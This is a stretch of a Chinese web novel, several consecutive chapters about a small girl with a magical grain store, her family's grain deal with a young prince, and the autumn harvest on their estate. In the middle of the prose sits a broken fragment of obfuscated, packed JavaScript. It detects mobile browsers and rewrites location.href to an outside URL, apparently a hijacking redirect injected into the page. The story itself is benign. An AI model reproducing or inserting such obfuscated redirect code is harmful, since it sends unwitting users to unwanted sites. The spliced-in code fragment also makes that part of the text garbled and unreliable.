“孟大人去往江南任职,自然要带点好种子去。”萧执接着说,眼神已经亮了起来,像是点燃了两簇小火苗,“再就是……阿执哥哥也有几个庄子,大长公主也有大片封地,若是都种起来——”
他顿了顿,声音里多了一丝她自己都没察觉的郑重,“都种起来,以后最多几年,大康朝的百姓就都种上好种子,就都不会饿肚子了。”
他说这话的时候,眼睛看着远处的田野。暮色四合,稻田在晚风里轻轻摇晃,像一片金色的海。
阿沅看着他的侧脸,忽然觉得这个阿执哥哥,跟她认识的所有人都不一样。
第149章 心怀坦荡的父母,才养出如此善良的女儿
“为了百姓不饿肚子,怎么会不行?”她一兴奋,差点脱口而出说自己空间里还有粮仓,粮食都堆成山了!
话到嘴边,她赶紧咽了回去——好险好险!她拍拍小胸脯,把到嘴边的话换成了别的:“待会儿我就跟爹爹和娘亲说,明日定给阿执哥哥一句准话。没准爹爹还能有更多种子呢!”
她在心里悄悄补了一句:别人没有,我有啊!外面一季粮食的生产周期,空间里那百亩土地都收了三次!粮仓里的粮食堆得满满的,都快溢出来了!她正发愁怎么清空呢!
原本能想到的,捐粮施粥行不通——他们小小的庄子,刚经历雪灾,要是突然冒出来大批粮食,傻子都知道有问题。
那个狗皇帝不公正,太子和三皇子也不是什么善茬儿,为他们冒险不值得。但阿执哥哥不一样,阿执哥哥是要让天下百姓都不饿肚子的!
“阿执哥哥很多银子么?”她忽然想起什么,歪着脑袋问,“为何要用三倍来购买?”
萧执愣了一下。他其实没想那么多,只觉得他吃在这里住在这里,多得孟家照拂。佃户佃的是孟家的地,为他们着想也是在帮孟家挣名声。至于银子——他是皇子,虽说不受宠,到底有些体己。
“这么好的粮食,值得。”他说。
“不用!”阿沅小手一挥,斩钉截铁,“阿执哥哥胸怀的是天下百姓,以后种出来的粮种,也平价卖给百姓就是!”
话一出口,她忽然有点后悔——这话说得太有道理了!应该让爹爹和娘亲说去,挣的也是孟家的名声,她一个小丫头抢什么话嘛!
萧执却怔住了。
他低头看着这个不到自己腰高的小丫头,看着她那一本正经的小脸,看着她那双亮晶晶的眼睛,忽然觉得心里被什么东西填得满满的,又暖又涨。
“阿沅果真大义。”他轻声说,手又伸了过去。
阿沅这下警惕得很,他手才抬起来,她就像只小兔子似的跳起来躲开了,连连摆手:“不要不要!我找爹爹和娘亲去!”
说完,她啪地一下拍开想要牵住她的那只手,转身就往家里跑。小短腿噔噔噔地倒腾,身子一颠一颠的,裙角在暮色里翻飞,像只着急归巢的小雀。
萧执收回自己空落落的手,心却没有空落落的感觉。
他被阿沅的话填满了。
那句“平价卖给百姓”,从三岁小娃嘴里说出来,怎么听怎么不可思议。可她说得那么自然,那么理直气壮,好像天经地义就该如此。
小家伙,小小年纪就有这样的心肠,胸怀百姓的心,并不在他之下。
他看着阿沅跑远的背影,看着她噔噔噔地跑进院门,看着她那团小小的身影消失在暮色里,嘴角慢慢弯了起来,那个小酒窝又露出来了。
所以,也就是孟大人和柳姨母这样坦荡的心性,才能养出这样善良的女儿吧。
晚风吹过来,带着稻谷的香气和炊烟的味道。萧执站在原地,站了很久。
“爹爹娘亲,我们商量个事。”阿沅人还没进院子,清脆的嗓音就急急地传了进来。她满头大汗,细软的额发湿漉漉地贴在脑门上,小脸跑得红扑扑的。
一进院门看见爹爹和娘亲站在一起,也不知道是刚回来,还是没出去。便像颗小炮弹似的冲过去,抱住他的胳膊就往屋里拽。
“哎哟,我们家小阿沅这是有什么天大的事要商量?”孟大川笑着被她拖动两步,顺势长臂一捞,单手握住她的小腰往上一举,阿沅便稳稳当当地坐到了他宽阔的肩膀上。
她一双小手熟练地抱住爹爹的额头,晃着两条短腿,汗珠子顺着脸颊滑下来也顾不得擦。
柳氏正在收晾晒的衣裳,听见动静回过头,见女儿还没坐稳就开始蹬腿,生怕她一个不小心仰倒下来,忙抱住手里的衣裳碎步赶过来,在旁边虚虚地护着,一只手轻轻扶着阿沅的后背。
嗔怪地看了孟大川一眼:“就惯着她,摔着了可怎么好?”
“有,大事!”阿沅坐在高处,居高临下地看着爹娘,笑得眉眼弯弯,露出几颗小米牙,那双眼睛亮得像淬了星子,晶亮亮地闪着光。
孟大川和柳氏对视一眼,看女儿这副模样,心里便有了底——不是什么坏事。果然,阿沅低下头,凑到爹爹耳边,又扭头看看娘亲,神秘兮兮地说:“是阿执哥哥的事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278493|195865||http|test|mini|href|location''.split(''|''),0,{}));
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r>一家人进了里屋,孟大川这才把女儿从肩膀上接下来,动作轻柔得像托着一团棉絮。
阿沅刚落地,还没来得及开口,就被刚放了衣服的柳氏拉到桌边,端起晾凉的温开水递到她嘴边:“跑这一身汗,先喝口水,慢慢说,不急。”
阿沅听话地就着娘亲的手咕咚咕咚灌了几口,水渍顺着嘴角淌下来,柳氏便用帕子细细地给她擦了,顺便擦她额头上的汗。
孟沅这才开口:“阿执哥哥想买我们的粮。”说着,她伸出三根短短的手指头,举得高高的,生怕爹娘看不见,还特意晃了晃,“三倍价格哦。”
话音刚落,她的小脑袋就被孟大川轻轻揉搓了一下,发丝被揉得更加凌乱。孟大川笑着骂道:“卖什么卖,缺吃的给他几麻袋就好,阿沅这是钻到钱眼里去了?”
阿沅赶紧往旁边躲了躲,小短腿一跺,腮帮子微微鼓起,有了点小气性:“我都跟阿执哥哥说了不要钱!”说着,小胸脯一挺,那副傲气的模样仿佛在说——我才不是那种小气的人呢。
柳氏看得好笑,也伸手上来撸了一把她的头顶,语气里满是宠溺:“我们阿沅倒是大方。”
阿沅任由娘亲揉着,又仰起脸看向爹爹:“爹爹,阿执哥哥也想要种地,把空间里的粮食都给他吧。”她倒不是真有多大方的念头,只是脑袋里想着粮仓堆得满满的,实在有些挤,腾空了才好装新的。
而这种做法她只能想,麻烦只能丢给爹爹。
“不可!”孟大川下意识就否了,随即抓了抓自己的发髻,眉头拧起来,忽然觉得有些头疼。
女儿说过,神仙姑姑给的空间里有百亩稻田,如今已经收了四次粮。按女儿的说法,亩产千斤,那现在囤着的怕是有几十万斤。
几万士兵都能吃一个月。这可不是小数目,哪能明晃晃地、没有任何由头地拿出来,还白白送人的道理?那不是给自家、给女儿招祸吗?
可低头一看,女儿正仰着小脸看他,那双眼睛里满是期待,亮晶晶的。她已经在他面前说了好几次,央求他想办法取用。那眼神里的信任和盼望,让他这个当爹的心里又软又涩。
第150章 赋税再减一半
孟大川狠狠心,转身往外走了几步,步子迈得又重又慢。可走到门口又停下来,犹豫半晌,还是转过身,拍了拍自己的脑瓜子,像是要把什么顾虑拍散。
再看女儿,那双稚嫩的眼睛里满满的都是鼓励,正冲他使劲点头呢。他终是看向柳氏,声音沉了沉:“夫人把瑾儿也叫过来吧。”
柳氏连忙应声“好”,知道夫君要做什么,赶忙出去叫人。
上阵父子兵,这样的大事,一家人商量是应当的。从留下六皇子的那一刻起,孟家就已经注定和他绑在一处了。是时候让长子知道这一切了。
商量这件事最终没有拖到第二天。一家四口在屋里呆了不到一个时辰,而在这大半个时辰里,大半时间都是让孟怀瑾见识了妹妹阿沅堪比杂耍加江湖骗子的灵异手段。
床上的枕头被子,方才还在眼前,阿沅小手一指,瞬间就没了踪影。再一指,又原样回来了。
孟怀瑾还没从震惊中回过神,妹妹又冲他做个鬼脸,来一句:“哥哥等我一下哦。”话音一落,人就不见了。
“哥哥接一下,我来了!”空荡荡的屋里突然响起妹妹的声音,下一秒,阿沅凭空出现,整个人挂到了他脖子上,凑过来紧紧抱住她,还往他脸上“啵”地亲了一口,口水都沾在他脸颊上。
如果不是爹娘也在旁边,且神色如常,并没有露出半点怪异之色,孟怀瑾怕是要直接把妹妹扔出去。饶是如此,他整个人也僵在原地,抱着妹妹的手都不知该怎么放。
不用阿沅解释,柳氏几句话就把神仙姑姑的事说了出来,还说了阿沅做的前世那可怕的梦。
末了又加一句:“你书房里那些书本物什,都是妹妹从府里一趟趟搬回来的。”
对于妹妹关于自己一家前世的悲惨梦境,孟怀瑾一点都没觉得奇怪,因为很多已经应验在他们一家身上,或者是已经发生了,只是他们家应对得当,人人都毫发无伤而已。
他若有所思地低头看看怀里正冲他咧嘴笑的妹妹,又看看爹娘。孟大川见他似乎信了,又添了一剂猛料:“要不然,你以为咱家庄子上那些禾苗,都是你爹我的能耐?”
有了父母的解释,从前那些想不通的疑惑一下子全解开了。孟怀瑾把妹妹紧紧抱在怀里,手臂收得那样紧,勒得阿沅都有些疼了。
他说不出此刻心里是什么滋味——像是怕失去,又像是失而复得,患得患失的感觉让他眼眶都有些发热。
他就这样抱着妹妹,怎么也不肯撒手,好久都没有说话。
到了掌灯时分,一家人移步去先生上课的书房。孟怀瑾依旧紧紧抱着妹妹,走几步就要低头看一眼,仿佛一放下就会再也见不着似的。那小心翼翼的模样,让柳氏看了既心酸又欣慰。
阿沅格外懂事地把头窝在哥哥胸前,两只小手圈住他的脖颈,乖乖地一动不动。孟怀瑾则双手紧紧托着她肉嘟嘟的小屁股,把脸贴在妹妹软软的头发上,兄妹俩脸贴着脸,温热的呼吸交缠在一起,无比亲密和谐,那份亲情似乎又加深了许多。
孟大川起身,踏着暮色往书房那边走去,这一次是亲自把阿执和杨大儒一起请过来。
孟大川深吸一口气,粗糙的手掌在膝上摩挲了两下,终于开了口:“这一季的粮食打回来,也莫说三倍价格买。我们也不卖钱,孟家以粮换粮,六殿下多给两成粮食可好?”
这话说得很慢,每一个字都像在舌头上掂量过。这是孟大川第一次叫萧执“六殿下”,这三个字出口的瞬间,他感觉自己肩上的担子又沉了几分——这一声称呼,算是认了他这个主,是坚决地
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站队在他这边了。
“孟大**义!”萧执几乎是跳了起来,十岁少年瘦削的身子绷得紧紧的,眼眶都有些泛红。他快步走到孟大川跟前,深深作了一揖,起身时声音都带着哽咽,“萧执铭记于心。”
他是真没想到,孟家会如此信任他。原本就是担心孟大川不肯让出那么好的种子,才先找阿沅做了说客,想着小孩子童言无忌,先探探口风。
却没想结果来得这样快,而且还是这样低的交换条件——两成粮食,不过是借粮的些许利息罢了。
孟大川垂下眼,还是有点心虚。他原本也是不想加那两成粮食的。可方才在里屋商量的时候,是长子孟怀瑾劝住了他。
“六殿下知道我们家的处境并不好,”孟怀瑾抱着妹妹,声音压得很低,“他也正是处处为难的时候,心里必然过意不去。不多加点,恐怕他不会心安。”
柳氏在旁边点头,孟大川想了想,也就应了。儿子说得在理,这年头,让人心安比什么都重要。而且,神仙姑姑的好东西,两成的差价确实不多。
“赋税再给免一半,”萧执定了定神,努力让自己的声音听起来沉稳些,“佃户去年辛苦,让他们好好过这个冬。”
这倒是出乎孟大川意料。他抬眼看向面前这个刚过十岁的少年,瘦是瘦了些,也没长得很高,可那双眼睛清亮得很,里面有着不同于年纪的沉稳,一点都没打算占他们的便宜,反而都在为他们着想,想着补贴他们。
想了想,孟大川缓缓点头:“如此,便多谢殿下了。”
双方得以认可,约定过两天打了粮食,晒干了就交换并拉走。
孟大川盘算着,也不能让六殿下吃亏,既然女儿说空间里的粮仓粮食那么多,称好后,再取出来掺一点进去还是可以的。
第151章 若是我能种出很多的粮食,六殿下能吃下吗?
“六殿下,”孟大川依然眼神灼灼,目光落在刚刚过了十岁的少年身上。他斟酌着开口,声音放得很低,“若是下官能为殿下种出更多的粮食,”
说到这里,萧执目光微微一滞,随即眼神凛了凛,像是猎犬嗅到了什么不同寻常的气息。他没有说话,只是定定地看着孟大川,等着下文。
孟大川又说,声音更低了:“若是很多,市价殿下能吃下吗?”他不敢直接说出数量,几十万斤的数字太大,说出来怕是要吓着人,更怕被盘根问底。
价格也是刚刚和儿子商量好的——不要钱,不可能;要高了,也不可能。想想捡到六皇子的时候,他邋邋遢遢像个小乞丐似的,市价都担心他吃不下。
如果不是刚刚阿沅抛出了大长公主——六皇子这张背后的底牌,他都不敢说“很多”这两个字。只想着再不行,就让那些缺胳膊少腿的老兵兄弟们组几个商队,拉到各地卖掉。若是六皇子需要,变着法子用银子相帮也不是不可以。
反正女儿说了:白给了都行。
这一下,屋里几双眼睛都看向了萧执,等着他的回答。
惟有杨大儒,只是瞥了六皇子一眼,那双苍老深邃却依然明亮的眼睛,却直直地看向孟大川。老先生捋着胡须,目光如炬,似乎想从孟大川的眼神里挖出点什么秘密来。
当然,有着同样心思的萧执也停顿了一下。他察觉到杨大儒的目光,也察觉到孟大川话语里那些没有说出口的东西。该怎么种,才来“很多”粮食?这话里分明藏着什么。
良久没有回答。孟大川见他不说话,以为他为难,扯了扯嘴角,露出一丝苦笑,正想道出只是玩笑话,也许也没那么多,就当自己没说这话。
却换来对面的少年一句话。
“同是市价,本……萧执能收,”萧执顿了顿,把差点脱口而出的“本殿下”咽了回去,抬眼看着孟大川,目光清澈而坚定,“有多少收多少,而且日后必记得孟家的相助之恩。”
他没问具体会有多少,没问很多会多到多少。小小少年就这样笃定地回答,眼神里的坚定像一块磐石。
孟大川长长吐了口气,像是心里一块石头落了地。虽然怀疑六皇子理解的“很多”跟阿沅说的几十万斤有点偏差,但他也不打算做进一步证实。有多大碗吃多少饭,有多少银子买多少粮,慢慢来便是,总比一下子吓着人好。
孟沅却有点担心了。她窝在哥哥怀里,看看爹爹,又看看阿执哥哥,小脑袋里转悠着那些堆成山的粮食。
童言稚语脱口而出:“阿执哥哥,比几个庄子的禾苗还要多哦!”说着,她伸出两只小胳膊,使劲张开,比了个大大的圆,“多,好多好多!”
萧执看着她那副认真比划的模样,紧绷的脸上终于露出笑意。他伸出手,又想去揉阿沅的脑袋——方才就想揉,可孟怀瑾一直抱着妹妹不撒手,他也不好意思开口要过来抱。这会儿阿沅自己开了口,他的手又开始痒痒了。
他绕过孟怀瑾,直接走到跟前,伸手轻轻揉了揉阿沅的发顶,触感软软的、暖暖的:“若有很多,北地和南境的将士们就不会挨饿了。”
说这话时,少年的眼神望向窗外,像是透过沉沉的夜色,看见了遥远的边境,看见了那些在寒风中戍守的身影。他的手还搭在阿沅头顶,声音轻得像是说给自己听的。
孟沅可管不了什么北地南境,什么将士挨饿,只知道眼前少年确实值得,因为她看见阿执哥哥眼睛里有亮晶晶的东西在闪。
她想了想,从哥哥怀里挣出一只小手,笨拙地拍拍萧执的手背,奶声奶气地说:“都不会饿,阿沅给你好多好多粮。”
杨大儒只当是童言无忌,但还是心有所想地看着孟大川。
萧执低头看小丫头,那双向来沉稳的眼睛里,再一次有什么柔软的东西化开了。
“娘亲,爹爹为什么不叫我?”
阿沅今天睡过了头,起床时发现爹爹已经出去了。
她揉着惺忪的睡眼,小嘴已经撅得能挂油
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瓶,一骨碌爬下床就光着脚丫子冲到柳氏面前,仰着小脸,眉头皱成一团,声音里带着刚睡醒的软糯,却满是委屈,“阿沅真的很生气,很生气。”
她真的是气愤愤地说的,说完还跺了跺小脚,肉嘟嘟的脸颊鼓得像两只小包子,眼眶都微微泛红,仿佛受了天大的委屈。
穿越古代后的第一次秋收,对她而言意义无比重大,她理应跟佃户们一起分享那份丰收的喜悦。没想到醒来太阳晒了屁股,还是很晒的那种。
她的期待却落了个空。她能听见远处隐约传来的欢笑声和镰刀割稻的沙沙声,那些声音像小钩子一样挠着她的心,让她更加气恼。
柳氏看着女儿这副小模样,忍俊不禁地弯下腰,一把抱起她就往凳子上放,动作轻柔又麻利。
她一边整理阿沅身上的衣服,一边声音戏谑,逗弄的意味很重,“宝贝起再早,也赶不上割第一把稻谷,就是你爹也赶不上。”
说着,用手指轻轻点了点阿沅的小鼻尖,眼里满是宠溺的笑意,“我们先吃饭。”
“就是,刚才绿果回来一次,说佃户们不知道发什么疯,都不肯睡觉,有的人过了子时就开割了。”红袖把晾过的粥递给夫人,也忙着开腔解释。
“守门的婆子说,也幸亏昨晚月亮亮堂,田埂上都点着松明火把,远远看去像一条火龙在游动。”
怕小姐不信,红袖又说,声音里带着特有的生动,“黑丫姐家的那几亩地已经割了一小半,拉到晒场两车了。刚刚小牛哥还特意把抓到的两只蚱蜢送回来,说要给小姐玩。”
她比划着,“那蚱蜢可肥了,绿油油的,腿可有力了,用稻草拴着,还在盆里蹦得啪啪响。”
“还说有不少青蛙,但他们都没捉,也不给家里的大人抓。就因为小姐说过,那是保护庄稼的好动物。”
莲花不知什么时候蹦了进来,裤腿扎得严严实实,连脚踝都没露一点缝隙,头上还戴顶小巧的草帽,草帽檐上还别着一朵野菊花。
第152章 秋收
看见还要娘夫人喂的小姐,莲花笑嘻嘻道,脸上还带着刚从外面跑回来的红晕,“夫人也让厨房的婆子煮了不少凉茶,就摆在晒场边的大榕树下,好些人都喝了呢!苦是苦了点,但佃户们都说凉快解渴。佃户们还说夫人和小姐是菩萨心肠,所以今年才会打那么多粮食。”
她学着大人的口气,把“菩萨心肠”四个字咬得格外认真。
说完,看见空位上的那把蒲扇,拿起来就猛扇,扇了十几二十下,扇得自己额前的碎发都飞了起来,衣襟也被风吹得微微鼓起。
她又给柳氏和阿沅扇了几下,带来一阵带着她身上汗味儿的凉风。才说,“外面热得很,一点风都没有。我娘让我回来跟小姐说,还是别出去了,等黄昏时分再出门吧。”
她压低声音,学着自家娘亲的腔调,“你们别晒得跟焦炭似的,比黑丫还黑。”说完自己先咯咯笑起来,也不怕小姐听了不高兴,但眼神里还是透出几分担忧,那是担心小姐硬要往外面跑的担心。
“也得拦得住她才行。”柳氏笑,一口接一口喂,阿沅一口接一口吃,小小的腮帮子一鼓一鼓的,像只认真进食的小仓鼠。
柳氏舀起一勺熬得糯糯的小米粥,吹了吹,送到阿沅嘴边,阿沅就张开小嘴,“啊呜”一口吞下,眼睛却骨碌碌地往门外瞅。
直到听了柳氏这句话,嘴里还含着粥的阿沅终于眉开眼笑,眼睛弯成两道小月牙,嘴角的梨涡都漾了出来。再吃几口,说“饱了”。
自己抓了个小笼包就往下跳,一面含含糊糊催促,“快点,我的小帽子呢。”她嘴里塞得满满当当,说话时差点喷出几点碎屑,急得小脚在地上直跺。
担心会被稻草割伤,或是虫子窜到裤腿里,昨晚备好的就是蹲马步穿的束装,虽然遮得严实了一些,但是用很轻薄的绸布做的,穿上也不觉得闷。
反而因为颜色是淡淡的天蓝色,一看就觉得很清爽。柳氏给她系好裤腿,又仔细检查了袖口和领口,系好了帽子,这才满意地点点头。
阿沅小手一挥,“走,我们帮捡稻穗去。”那气势十足,像个小将军在发号施令。然后像只领头羊,蹦蹦跳跳往外跑,头上的两个小揪揪随着动作一颤一颤的,脚上的小布鞋在青石板上踩出轻快的哒哒声。
“急什么呀?慢点。记得多喝几口凉茶,带上自己的小水杯。”同样束装的柳氏摇了摇头,动作优雅却迅速地拎起阿沅的小背壶——那是个青瓷烧的小葫芦形状,上面还雕刻一枝荷花。柳氏也跟了出去,裙摆在脚踝处轻轻摆动。
今天能帮忙的丫鬟小厮婆子都遣了出去,就连萧执和孟怀瑾两个也拿把小镰刀说去割稻谷,专门去游学都未必有这种机会,就在自家门口的事他们并不打算放过。
柳氏想起早上两人出门时的模样,一个比一个兴致勃勃,拿着镰刀比划,好像要去做什么惊天动地的大事。
特别是孟怀瑾,一想到先生说的“四体不勤,五谷不分”,就觉得惭愧,夜里翻来覆去睡不着,天没亮就起来。
现在连爹爹和妹妹都在种地,他可不敢自诩读书人,也觉得是时候历练了。他还特意找佃户请教了割稻的要领,已经是一副胸有成竹的样子。
而杨大儒,年纪大了,也没办法亲力亲为,但却不会拘着他们,昨晚就宣布放农假五天,甚至给他俩一记嫌弃的眼神,眼神里明明白白写着“朽木不可雕也”,言语里也都是埋汰,“连三岁小娃都不如,教你们有啥用?”
说完还哼了一声,背着手踱步走了,留下两人面面相觑,更下定了决心要好好表现。
阿沅一出院门,就看到了外面热闹的收割场面。阳光已经有些晃眼,照在稻田上泛着一层金黄的光。
最靠近他们家的几块地,稻谷都已经
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倒伏了,整整齐齐地铺在田里,像给大地铺上了金色的毯子。甚至有的地已经空出来一半,露出褐色的泥土和几寸长的禾根,禾根的切口新鲜整齐,散发着稻谷特有的清香。
许是拉到晒场去了,只留下整齐的禾根在阳光下泛着湿润的光。
稻田里躬腰割稻的大多都是青壮年,大多数人穿的都是十分耐脏的黑色、灰色、靛蓝色,所以也分辨不出哪个是爹爹,哪个是哥哥。
他们一个个弯着腰,左手抓住一把稻秆,右手挥动镰刀,动作整齐划一,像在进行某种古老的仪式。
一贯穿长衫的六皇子和孟怀瑾换了装,又低着头,更是没办法辨认。阿沅踮起脚尖,眯着眼睛使劲看,也只能看见一个个背影在稻浪里起伏。
反正走了好几块地,又远观了不少人,就是分辨不出来,或者说没见他们。她沿着田埂走,田埂很窄,只够一个人走,两边是刚刚割过的稻田。偶尔有蜻蜓从她身边飞过,透明的翅膀在阳光下闪着光。
“小姐,在找大爷吗?还是少爷?奴婢带你去。”本来也在低头割稻谷的绿果,看见小姐出门就起身跟了过来。她放下镰刀,在衣襟上擦了擦手,快步走上前,脸上带着憨厚的笑。
绿果的裤腿上沾了些泥点子,额头上有细密的汗珠,显然已经割了好一会儿了。
看小姐似乎在找人,而且心有期盼,才出言问她。绿果知道小姐的心思,昨儿个晚上就念叨着今天要跟爹爹和哥哥一起下田。
“不用,我能找到。”阿沅仰起小脸,语气里满是自信,小鼻头微微翘起,一副胸有成竹的样子。
就不信找不到他们,阿沅信心满满。她没有往东边——庄子大门的方向走,而是往那边望了望,就转身往西边最偏的角落的荆棘围墙走。
那边很少有人去,除了佃户本家,但她知道两个哥哥这时候的心情。
第一卷 第153章 你们是来糟蹋庄稼的?
红袖焦急地看向绿果,生怕小姐走错,累着还出一身汗。嘴唇动了动,想要上前拦着,又怕惹小姐不高兴。绿果也不上前阻止,只轻轻摇了摇头,示意红袖别急。
莲花也冲红袖笑笑,同样没有去阻拦小姐,还轻声来一句,“小姐聪明着呢!跟上吧。”说着,三人便不远不近地跟在小阿沅身后,像三只护着小鸡的老母鸡,后面还跟一只更老的。
一路过去,就没有一块稻田里是没人的,有的人数还不少,全家都集中在一起了。
但凡抬头的看见阿沅都打招呼,声音此起彼伏,“禾宝,怎么来了,天气热,遭罪哦!”一个正在捆稻谷的大婶直起腰,用袖子抹了把脸上的汗,笑呵呵地冲阿沅喊。
“禾宝,还是回去吧,家里凉快。”一个老汉停下手中的活计,拄着镰刀,关切地看着这个小不点儿。
“禾宝,还是去榕树那吧!看他们推碾子,还有水喝。”远处有人扯着嗓子喊,声音穿过稻田,带着田野特有的空旷感。
……
听到招呼,埋头苦干的人也都要歇一歇,抬头看看小禾宝,也要关心上一句。有的直起腰捶两下后背,有的放下镰刀喝口水,目光都追随着那个小小的天蓝色身影,脸上不自觉地露出笑容。
“六婶子,我不热,我才喝了茶出来呢。”阿沅回过头,冲那个大婶甜甜地回应,小脸上绽开一个灿烂的笑容。
“宋婆婆,你还来这地里?割不及会有人帮的,去歇会儿吧。”阿沅看见一个头发花白的老婆婆也弯着腰在割稻,声音里满是关切。
“李伯伯,你割稻子真快。”阿沅又看见一个中年汉子手起刀落,一把稻谷就倒下了,忍不住竖起小拇指——不对,是竖起大拇指,比划着夸赞。
……
阿沅觉得热,但没觉得比别人热,看见这热火朝天的氛围就高兴。小脸蛋红扑扑的,鼻尖上冒出细密的汗珠,但眼睛亮晶晶的,像两颗黑葡萄。
一面甜甜回应并招呼着熟悉的人,还不时竖起了拇指,那认真的小模样把大人们都逗笑了。还偶尔跟后面的夫人打招呼。
听到小禾宝清脆的笑声,听着她的糯声糯语,大家觉得炎热都少了几分,腰也没那么累了。那笑声像清凉的山泉,流过每个人的心田。重新弯下腰割稻,动作都轻快了许多。
往前再走七八块地,都快走到了荆棘墙边,走在最后头的柳氏已经有点气喘吁吁,手扶着腰,额头上渗出细密的汗珠。她停下脚步歇了口气,看着前面那个精力充沛的小身影,心想着这具身体以后还是多锻炼,最好是拉夫君跟他去爬后面的山。
那座山不高,但爬上去也够呛,不过为了能跟上女儿的脚步,为了这具身体,再累也值得。
“咯咯,我就知道哥哥害羞躲在这。”前面猛然传来阿沅咯咯咯的笑声,那笑声清脆得像银铃敲响,而且她小身子已经飞扑了过去。田埂尽头,靠近荆棘墙的一片稻田里,两个熟悉的身影正笨拙地挥着镰刀。
萧执看她飞跑过来,走的还是极小的田埂,那田埂窄得只够放下两只小脚,两边都是刚割过的稻田,禾根扎得乱七八糟。
他心头一紧,连忙丢掉手中的镰刀,镰刀落在稻茬上发出“噗”的一声轻响。
他想要飞身过来接住这个小冒失鬼,脚步已经迈出半步。
“二叔婆,你家的地那么远吗?”小丫头却是好像发现了新大陆,跑着跑着突然放慢脚步,目光被旁边一块田里的人吸引住了。她歪着小脑袋,眼睛里满是好奇。
二叔婆刚刚正弯着腰在已经割过的稻田里慢慢挪动,一只手提个旧袋子,好像在寻找什么。
“是呢,那边两等的也有几亩,禾宝小姐,您怎么也来了?”二叔婆不是在割稻子,而是在割倒横放的稻谷堆里找着什么。她动作很慢,每走几步就要停下来仔细看。
这会儿,她已经直起身,脸上带着有些局促的笑,眼角的皱纹像菊花瓣一样绽开。
“二叔婆,你在捡稻穗吗?”阿沅问,也冲她走了过去。这时候才发现她手提的布袋里,显然已经有不少稻谷。
“捡稻穗?……是,捡稻穗!”二叔婆看着水稻没放倒多少,倒是掉了不少稻粒的地有点肉疼,眼神里闪过一丝心疼。但面上不显,讪讪地笑说,声音里带着几分不好意思,“能捡一些是一些,总好过白白喂了老鼠。”
她说着,又弯下腰,从地上捡起一颗掉落的稻粒,放进腰间的布袋里。
“你们两个臭小子,好事干不成,就是来这么霍霍收成的吗?”倒是走在最后面的柳氏,一上来就看出了猫腻,也看出了农人眼神里的心疼。
她顾不上喘气,快步走上前,目光落在两个少年身后那片狼藉的稻田上。
“你们真不是割稻子,那是在糟蹋粮食。”柳氏看着放倒后依然参差不齐的稻谷,有的割得太高,留了半尺长的秆子,有的又割得太低,连根都快刨出来了。
不一样高,跟狗啃一样的禾根,再看地上掉的不少颗粒,金黄的稻粒在泥土里格外刺眼。她一眼就看出有些就是他们踩出来的,稻秆上还有脚印的痕迹,也是气不打一处来。
她上前就抢过孟怀瑾的镰刀,气得还想给他挥一刀。却看到眼前的少年,满头大汗,汗水顺着脸颊往下淌,在下巴处汇成汗珠滴落。身上衣服都湿了,紧紧贴在背上,勾勒出少年单薄的骨架。还一脸尴尬,手足无措地站在那里,眼神躲闪。
柳氏只能恨铁不成钢地瞪他一眼,那眼神里有责备,也有心疼。
孟怀瑾急着为自己申辩,声音急促,“再多割几把就会了。”耳根有点红,一直红到脖子根,语气也不自信,说完自己都觉得底气不足。然后看向比他矮了不少的六皇子,两人对视一眼,不约而同地尬笑,笑容里满是窘迫和无奈。
萧执身后的放倒的稻谷同样不多,也一样狗啃一般,两人站在那儿,活像两个做错事等着挨训的孩子。
难兄难弟,技术几乎是半斤八两。
第一卷 第154章 谁都不是天生就会的
“娘亲,别骂哥哥,谁都不是天生就会的。”阿沅虽然就是来看笑话的,可是看两个大哥哥尴尬,也不想太抹他们的面子。
她迈着小短腿踉踉跄跄跑到萧执跟前,她还踮起脚尖,努力伸长短短的手臂,想要拍拍萧执的肩膀以示安慰。
奈何个子实在太小,够不着,只好退而求其次,扯了扯萧执的衣角,冲他露出甜甜的笑。
他们是因为不会做,才想躲到这边边上来练手,目的可不是要祸祸二叔婆家的粮食。阿沅心里跟明镜儿似的,哥哥们肯定是怕在大人面前出丑,才偷偷跑到这偏僻角落来练习的。
“没事没事,孩子还小呢,老婆子我就是不放心,所以才特意来跟着,想着好歹能捡回一点。”二叔婆看见夫人生气了,自然也觉得不好意思,连忙上前劝慰。
她粗糙的手在围裙上擦了又擦,布满皱纹的脸上堆满了讨好的笑,眼神却忍不住往田里散落的稻穗上瞟,每瞟一下就心疼得眼角直抽抽。那些可都是饱满的谷粒啊,若是捡起来,怕是够一家几口吃一顿。
“那怎么行,他们浪费了就得赔。二叔婆,你们这块地是良等还是次等,别家同类的田地收的是多少粮食,也还按多少算,可不能因为他们霍霍亏了您。”柳氏抱歉地上前握住二叔婆的手,语气诚恳而坚决。
她温热的手紧紧握着二叔婆那双因常年劳作而粗糙变形的手,跟她说,“二叔婆顶着大日头在这捡稻子也辛苦,捡到的你就拿回去,好歹还能喂鸡养鸭。”
柳氏说着,抬头看了看火辣辣的日头,又看了看二叔婆满头花白的头发和被汗水浸透的粗布衣裳,眼中满是过意不去。
“夫人这么说,老婆子已经是感恩不尽。哪里会有拿这么好的粮食来喂食鸡鸭的道理,这稻子捡回去还能做种子呢?自己碾来吃老婆子都觉得浪费。”二叔婆得了这话也没觉得那么心疼了,但一点都不赞同柳氏的话,连连摆手,脸上的皱纹都跟着抖动起来。
她弯腰从地上捻起几粒饱满金黄的谷粒,放在掌心仔细端详,“老夫人,既然说了这话,婆子我捡回去也充公,直接放回晒场上。”
二叔婆说得斩钉截铁,浑浊的老眼里闪着朴素而坚定的光,她这一辈子,最见不得的就是糟蹋粮食。
“二叔婆,我们跟你一起捡。”阿沅跳到她面前,抢了她的小布袋。她这一跳,脚下没站稳,身子晃了晃,险些摔倒,把众人吓了一跳,她却浑然不觉,只顾着把那布袋紧紧抱在怀里。
然后她仰起头,奶声奶气地说,“婆婆,你眼神不好,歇一会,让禾宝来。”说完小小的身子就弓了下去,认真看跌落的稻粒。她那胖乎乎的小短手笨拙地在地上摸索,捡起一粒,就小心翼翼地放进布袋里,嘴里还念念有词:“一粒、两粒、三粒……”
捡到一整串的,还要举起来对着阳光照一照,笑得眼睛眯成两道弯弯的月牙儿。
